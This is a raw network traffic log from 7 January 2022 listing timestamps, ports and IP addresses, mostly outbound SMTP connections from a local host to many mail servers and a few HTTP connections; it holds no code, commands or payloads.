Jan 7, 2022 15:43:00.644594908 CET	25	49765	91.136.8.47	192.168.2.6
Jan 7, 2022 15:43:00.644613028 CET	25	49765	91.136.8.47	192.168.2.6
Jan 7, 2022 15:43:00.644834995 CET	25	49765	91.136.8.47	192.168.2.6
Jan 7, 2022 15:43:00.644866943 CET	25	49765	91.136.8.47	192.168.2.6
Jan 7, 2022 15:43:00.644957066 CET	49765	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:43:00.644984007 CET	49765	25	192.168.2.6	91.136.8.47
Jan 7, 2022 15:43:00.656338930 CET	49774	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:00.664911985 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.664935112 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.664943933 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.664956093 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.664963007 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.664974928 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.664987087 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665122032 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.665158987 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665179968 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665191889 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665201902 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665213108 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665224075 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665235043 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665271044 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.665271997 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665285110 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665297985 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665313005 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.665333986 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.665348053 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665360928 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665368080 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665380001 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665389061 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665397882 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665429115 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.665471077 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.665477037 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665496111 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665507078 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.665537119 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665549994 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665558100 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665569067 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665576935 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665589094 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665596008 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665604115 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665627003 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.665632963 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665644884 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665659904 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.665709972 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.665776968 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.665829897 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.665864944 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.666469097 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.666593075 CET	49775	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:43:00.687822104 CET	25	49775	195.3.96.71	192.168.2.6
Jan 7, 2022 15:43:00.691736937 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.691756010 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.691766977 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.691781044 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.691839933 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.691973925 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.691992998 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692009926 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692025900 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692040920 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692091942 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692106962 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692122936 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692205906 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692222118 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692235947 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692250013 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692327023 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692342997 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692358017 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692372084 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692385912 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692399979 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692481995 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692497015 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692543030 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692558050 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692573071 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692586899 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692600965 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692615986 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692630053 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692642927 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692708015 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692723036 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692760944 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692775965 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692787886 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692801952 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692816019 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692827940 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692842960 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692873955 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692888021 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692898035 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692912102 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692922115 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692935944 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692950010 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692964077 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692979097 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.692992926 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693006992 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693020105 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693038940 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693053961 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693068027 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693080902 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693094969 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693108082 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693120956 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693135977 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693150043 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693165064 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693178892 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693192959 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693205118 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.693207979 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693223000 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693236113 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693250895 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693265915 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693281889 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693298101 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693312883 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693326950 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693341017 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693353891 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693370104 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693384886 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693399906 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693403006 CET	49775	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:43:00.693413973 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693429947 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693444967 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693459034 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693473101 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693487883 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693501949 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693516970 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693531990 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693546057 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693559885 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693573952 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693588972 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693603039 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693617105 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693679094 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693692923 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693706989 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693722963 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.693737984 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720118046 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720144033 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720160961 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720171928 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720190048 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720201015 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720212936 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720232010 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720259905 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720271111 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720379114 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720396042 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720412970 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720428944 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720444918 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720460892 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720477104 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720494032 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720509052 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720525980 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720541000 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720556974 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720614910 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720630884 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720645905 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720662117 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720675945 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720690966 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720730066 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720746994 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720797062 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720813036 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720901012 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720913887 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720922947 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720976114 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720988035 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.720995903 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.721008062 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.721045017 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.721096039 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.721506119 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.721539021 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.726104975 CET	25	49773	104.47.70.33	192.168.2.6
Jan 7, 2022 15:43:00.727021933 CET	25	49773	104.47.70.33	192.168.2.6
Jan 7, 2022 15:43:00.727112055 CET	49773	25	192.168.2.6	104.47.70.33
Jan 7, 2022 15:43:00.727344036 CET	25	49773	104.47.70.33	192.168.2.6
Jan 7, 2022 15:43:00.727505922 CET	49773	25	192.168.2.6	104.47.70.33
Jan 7, 2022 15:43:00.748053074 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.751065969 CET	49776	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:00.753426075 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.765850067 CET	49777	25	192.168.2.6	67.195.204.72
Jan 7, 2022 15:43:00.766206980 CET	49778	25	192.168.2.6	104.47.70.33
Jan 7, 2022 15:43:00.822900057 CET	25	49775	195.3.96.71	192.168.2.6
Jan 7, 2022 15:43:00.823064089 CET	49775	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:43:00.830128908 CET	25	49767	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:00.830357075 CET	49767	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:00.834846020 CET	49779	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:43:00.834949017 CET	49780	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:43:00.843753099 CET	25	49775	195.3.96.71	192.168.2.6
Jan 7, 2022 15:43:00.843781948 CET	25	49775	195.3.96.71	192.168.2.6
Jan 7, 2022 15:43:00.844149113 CET	49775	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:43:00.864919901 CET	25	49775	195.3.96.71	192.168.2.6
Jan 7, 2022 15:43:00.865094900 CET	49775	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:43:00.865130901 CET	49775	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:43:00.869015932 CET	25	49778	104.47.70.33	192.168.2.6
Jan 7, 2022 15:43:00.869437933 CET	49778	25	192.168.2.6	104.47.70.33
Jan 7, 2022 15:43:00.879463911 CET	25	49777	67.195.204.72	192.168.2.6
Jan 7, 2022 15:43:00.879616976 CET	49777	25	192.168.2.6	67.195.204.72
Jan 7, 2022 15:43:00.885699987 CET	25	49775	195.3.96.71	192.168.2.6
Jan 7, 2022 15:43:00.886042118 CET	49775	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:43:00.886054993 CET	25	49775	195.3.96.71	192.168.2.6
Jan 7, 2022 15:43:00.886493921 CET	25	49775	195.3.96.71	192.168.2.6
Jan 7, 2022 15:43:00.886614084 CET	49775	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:43:00.887330055 CET	49775	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:43:00.896580935 CET	25	49779	77.88.21.249	192.168.2.6
Jan 7, 2022 15:43:00.899842024 CET	25	49780	77.88.21.249	192.168.2.6
Jan 7, 2022 15:43:00.900027037 CET	49780	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:43:00.900027990 CET	49779	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:43:00.971002102 CET	25	49780	77.88.21.249	192.168.2.6
Jan 7, 2022 15:43:00.971158981 CET	49780	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:43:00.971731901 CET	25	49779	77.88.21.249	192.168.2.6
Jan 7, 2022 15:43:00.971911907 CET	49779	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:43:00.973386049 CET	25	49778	104.47.70.33	192.168.2.6
Jan 7, 2022 15:43:00.973655939 CET	49778	25	192.168.2.6	104.47.70.33
Jan 7, 2022 15:43:01.023184061 CET	25	49777	67.195.204.72	192.168.2.6
Jan 7, 2022 15:43:01.023375988 CET	49777	25	192.168.2.6	67.195.204.72
Jan 7, 2022 15:43:01.032314062 CET	25	49780	77.88.21.249	192.168.2.6
Jan 7, 2022 15:43:01.032341003 CET	25	49780	77.88.21.249	192.168.2.6
Jan 7, 2022 15:43:01.032496929 CET	49780	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:43:01.032970905 CET	25	49779	77.88.21.249	192.168.2.6
Jan 7, 2022 15:43:01.033015966 CET	25	49779	77.88.21.249	192.168.2.6
Jan 7, 2022 15:43:01.033174038 CET	49779	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:43:01.077995062 CET	25	49778	104.47.70.33	192.168.2.6
Jan 7, 2022 15:43:01.078521967 CET	25	49778	104.47.70.33	192.168.2.6
Jan 7, 2022 15:43:01.078635931 CET	49778	25	192.168.2.6	104.47.70.33
Jan 7, 2022 15:43:01.094625950 CET	25	49780	77.88.21.249	192.168.2.6
Jan 7, 2022 15:43:01.094815969 CET	49780	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:43:01.095097065 CET	25	49779	77.88.21.249	192.168.2.6
Jan 7, 2022 15:43:01.095235109 CET	49779	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:43:01.136910915 CET	25	49777	67.195.204.72	192.168.2.6
Jan 7, 2022 15:43:01.137466908 CET	25	49777	67.195.204.72	192.168.2.6
Jan 7, 2022 15:43:01.137579918 CET	49777	25	192.168.2.6	67.195.204.72
Jan 7, 2022 15:43:01.165173054 CET	25	49779	77.88.21.249	192.168.2.6
Jan 7, 2022 15:43:01.165324926 CET	49779	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:43:01.165368080 CET	49779	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:43:01.166857004 CET	25	49780	77.88.21.249	192.168.2.6
Jan 7, 2022 15:43:01.166960001 CET	49780	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:43:01.167009115 CET	49780	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:43:01.181581020 CET	25	49778	104.47.70.33	192.168.2.6
Jan 7, 2022 15:43:01.182763100 CET	25	49778	104.47.70.33	192.168.2.6
Jan 7, 2022 15:43:01.182913065 CET	25	49778	104.47.70.33	192.168.2.6
Jan 7, 2022 15:43:01.182943106 CET	49778	25	192.168.2.6	104.47.70.33
Jan 7, 2022 15:43:01.182952881 CET	49778	25	192.168.2.6	104.47.70.33
Jan 7, 2022 15:43:01.182996035 CET	49778	25	192.168.2.6	104.47.70.33
Jan 7, 2022 15:43:01.186434031 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.212802887 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.213387012 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.226417065 CET	25	49779	77.88.21.249	192.168.2.6
Jan 7, 2022 15:43:01.226474047 CET	25	49779	77.88.21.249	192.168.2.6
Jan 7, 2022 15:43:01.226527929 CET	49779	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:43:01.226550102 CET	49779	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:43:01.228028059 CET	25	49780	77.88.21.249	192.168.2.6
Jan 7, 2022 15:43:01.228045940 CET	25	49780	77.88.21.249	192.168.2.6
Jan 7, 2022 15:43:01.228104115 CET	49780	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:43:01.228143930 CET	49780	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:43:01.240936041 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.241060019 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.251373053 CET	25	49777	67.195.204.72	192.168.2.6
Jan 7, 2022 15:43:01.251466990 CET	25	49777	67.195.204.72	192.168.2.6
Jan 7, 2022 15:43:01.251513004 CET	49777	25	192.168.2.6	67.195.204.72
Jan 7, 2022 15:43:01.251540899 CET	49777	25	192.168.2.6	67.195.204.72
Jan 7, 2022 15:43:01.251554012 CET	49777	25	192.168.2.6	67.195.204.72
Jan 7, 2022 15:43:01.251962900 CET	49782	25	192.168.2.6	98.136.96.77
Jan 7, 2022 15:43:01.253005028 CET	49783	25	192.168.2.6	74.208.5.20
Jan 7, 2022 15:43:01.267518997 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.270200968 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.270322084 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.285770893 CET	25	49778	104.47.70.33	192.168.2.6
Jan 7, 2022 15:43:01.285795927 CET	25	49778	104.47.70.33	192.168.2.6
Jan 7, 2022 15:43:01.285808086 CET	25	49778	104.47.70.33	192.168.2.6
Jan 7, 2022 15:43:01.297188997 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.297291040 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.328969002 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.343767881 CET	49784	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:43:01.365125895 CET	25	49777	67.195.204.72	192.168.2.6
Jan 7, 2022 15:43:01.365170002 CET	25	49777	67.195.204.72	192.168.2.6
Jan 7, 2022 15:43:01.377211094 CET	25	49782	98.136.96.77	192.168.2.6
Jan 7, 2022 15:43:01.377350092 CET	49782	25	192.168.2.6	98.136.96.77
Jan 7, 2022 15:43:01.398293018 CET	25	49783	74.208.5.20	192.168.2.6
Jan 7, 2022 15:43:01.398485899 CET	49783	25	192.168.2.6	74.208.5.20
Jan 7, 2022 15:43:01.404177904 CET	25	49784	213.186.119.6	192.168.2.6
Jan 7, 2022 15:43:01.404329062 CET	49784	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:43:01.466320038 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.466453075 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.492872953 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.493408918 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.495732069 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.496357918 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.502943039 CET	25	49782	98.136.96.77	192.168.2.6
Jan 7, 2022 15:43:01.503130913 CET	49782	25	192.168.2.6	98.136.96.77
Jan 7, 2022 15:43:01.523140907 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.523189068 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.523216963 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.523241997 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.523268938 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.523349047 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.523431063 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.527406931 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.527492046 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.545630932 CET	25	49783	74.208.5.20	192.168.2.6
Jan 7, 2022 15:43:01.545661926 CET	25	49783	74.208.5.20	192.168.2.6
Jan 7, 2022 15:43:01.545753956 CET	49783	25	192.168.2.6	74.208.5.20
Jan 7, 2022 15:43:01.546039104 CET	49783	25	192.168.2.6	74.208.5.20
Jan 7, 2022 15:43:01.546042919 CET	49785	25	192.168.2.6	74.208.5.22
Jan 7, 2022 15:43:01.549942970 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.549974918 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.550003052 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.550028086 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.550035954 CET	49781	25	192.168.2.6	108.177.119.26
